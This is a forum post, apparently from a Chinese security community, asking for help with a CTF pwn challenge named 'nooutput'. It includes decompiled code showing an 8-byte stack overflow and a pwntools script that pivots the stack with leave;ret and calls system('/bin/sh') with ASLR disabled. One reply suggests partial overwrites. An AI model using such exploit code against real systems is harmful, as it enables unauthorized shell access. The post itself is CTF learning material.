首页
社区
课程
招聘
[讨论][求助]最近的一次工业互联网竞赛的pwn题 nooutput
2020-10-27 10:23 5440

[讨论][求助]最近的一次工业互联网竞赛的pwn题 nooutput

2020-10-27 10:23
5440

几乎没有任何提示,只提供了一个二进制文件

IDA反编译结果:只有8个字节的溢出位,只能覆盖EBP和返回地址,看来是要栈迁移

1
2
3
4
5
6
7
8
9
10
int __cdecl main()
{
  char buf; // [esp+0h] [ebp-100h]
 
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  puts("Sorry,but there is no output!!\nJust Input Something:");
  read(0, &buf, 0x108u);
  return 0;
}

如果利用一次leave ret把ESP迁移到BSS,那么也没有机会在BSS上写好栈内容! 所以不知道怎么做。请教各位大佬有没有什么办法。
下面是非正解:把系统的ASLR关了,用固定的栈地址做迁移,在本地getshell,但是如果打开ASLR,实际情况有几个问题:1,栈地址无法获取,2.libc版本不明,3.libc_base无法获取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
 
# context.log_level = 'debug'
context(arch='i386', os='linux')
# 设置tmux程序
context.terminal = ['/usr/bin/tmux', 'splitw', '-h']
 
 
'''
ropper -f nooutput
-----------------------
0x08048514: leave; ret;
 
'''
leaveret_add = 0x08048514
 
# program module
p = process('./nooutput')
lib = ELF("/usr/lib32/libc.so.6")
 
# libc_base = lib_main - lib_start_main
libc_base = 0xf7dcd000
 
#gdb.attach(p, 'b *0x080484D5')
#gdb.attach(p,'b *0x0804850C')
 
p.readuntil('Something:\n')
 
stackAddr = 0xffffd498
 
log.info(hex(stackAddr))
 
sysAddr = libc_base + lib.symbols['system']
exitAddr = libc_base + lib.symbols['exit']
binsh = libc_base + lib.search("/bin/sh").next()
 
exploit = p32(0x90909090)
exploit += p32(sysAddr)
exploit += p32(exitAddr)
exploit += p32(binsh)
exploit += nops * (0x100 - len(exploit))
exploit += p32(stackAddr) #new stack top
exploit += p32(leaveret_add)
 
p.sendline( exploit)
p.interactive()

以上exp只能在本地关闭aslr的情况下才能生效。请大佬想想其他的思路


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

上传的附件:
收藏
点赞1
打赏
分享
最新回复 (1)
雪    币: 379
活跃值: (1761)
能力值: ( LV8,RANK:140 )
在线值:
发帖
回帖
粉丝
暗香沉浮 2 2020-10-27 14:15
2
0
只写部分地址呢,比如低 2字节, 或者低一字节
游客
登录 | 注册 方可回帖
返回